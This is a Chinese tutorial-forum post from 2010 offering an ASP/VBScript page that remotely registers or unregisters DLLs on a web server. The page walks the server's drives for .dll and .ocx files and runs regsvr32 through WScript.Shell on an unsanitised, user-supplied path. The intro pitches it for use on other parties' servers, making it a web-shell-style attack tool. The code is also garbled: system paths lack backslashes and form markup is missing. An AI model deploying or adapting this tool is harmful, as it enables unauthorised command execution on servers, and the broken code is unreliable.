利用ASP遠程注冊DLL的方法
當前位置:點晴教程→知識管理交流
→『 技術文檔交流 』
[p]老外真是聰明,這個方法也想得到,有興趣的不妨試試,但是如果對方的服務器安全搞的很好的話,這個代碼也許就不能用了,但不管怎么樣,學習一下也是好的,:) [/p]
[p][br]<% response.buffer = true %>[br]<% server.scripttimeout = 500 [br]dim frmfolderpath, frmfilepath[/p] [p]frmfolderpath = request.form("frmfolderpath")[br]frmfilepath = request.form("frmdllpath")[br]frmmethod = request.form("frmmethod")[br]btnreg = request.form("btnreg")[br]%>[/p] [p][br][br] [p][br][br][br][br]<%[br]class clsregister[/p] [p]private m_ofs [/p] [p]public property let ofs(objofs)[br]m_ofs = objofs[br]end property[/p] [p]public property get ofs()[br]set ofs = server.createobject("scripting.filesystemobject")[br]end property[/p] [p][br]sub init(strroot) 'root to search (c:, d:, e:)[br]dim odrive, orootdir[br]if ofs.folderexists(strroot) then[br]if len(strroot) < 3 then 'must be a drive[br]set odrive = ofs.getdrive(strroot)[br]set orootdir = odrive.rootfolder[br]else[br]set orootdir = ofs.getfolder(strroot)[br]end if[br]else[br]echob("folder ( " & strroot & " ) not found.")[br]exit sub[br]end if[br]setroot = orootdir[/p] [p]echo("")[br]buildoptions[br]end sub[/p] [p]sub getalldlls(oparentfolder)[br]dim osubfolders, ofile, ofiles[br]set osubfolders = oparentfolder.subfolders[br]set opfiles = oparentfolder.files[/p] [p]for each ofile in opfiles[br]if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then[br]echo("")[br]end if[br]next[/p] [p]on error resume next[br]for each ofolder in osubfolders 'iterate all folders in drive[br]set ofiles = ofolder.files[br]for each ofile in ofiles[br]if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then[br]echo("")[br]end if[br]next[br]call getalldlls(ofolder)[br]next[br]on error goto 0[br]end sub[/p] [p]sub register(strfilepath, regmethod)[br]dim thefile, strfile, oshell, exitcode[br]set thefile = ofs.getfile(strfilepath)[br]strfile = thefile.path[/p] [p]set oshell = createobject ("wscript.shell")[/p] [p]if regmethod = "reg" then 'register[br]oshell.run "c:winntsystem32 egsvr32.exe /s " & strfile, 0, false[br]exitcode = oshell.run("c:winntsystem32 egsvr32.exe /s " & strfile, 0, false)[br]echob("regsvr32.exe exitcode = " & exitcode)[br]else 'unregister[br]oshell.run "c:winntsystem32 egsvr32.exe /u/s " & strfile, 0, false[br]exitcode = oshell.run("c:winntsystem32 egsvr32.exe /u/s " & strfile, 0, false)[br]echob("regsvr32.exe exitcode = " & exitcode)[br]end if[/p] [p]cleanup oshell[br]end sub[/p] [p]sub buildoptions[br]echob("register: ")[br]echob("unregister: ")[br]end sub[/p] [p]function echo(str)[br]echo = response.write(str & vbcrlf)[br]end function[/p] [p]function echob(str)[br]echob = response.write(str & " " & vbcrlf)[br]end function[/p] [p]sub cleanup(obj)[br]if isobject(obj) then[br]set obj = nothing[br]end if[br]end sub[/p] [p]sub class_terminate()[br]cleanup ofs[br]end sub[br]end class[br]%> [/p] 該文章在 2010/7/5 0:07:33 編輯過 |
關鍵字查詢
相關文章
正在查詢... |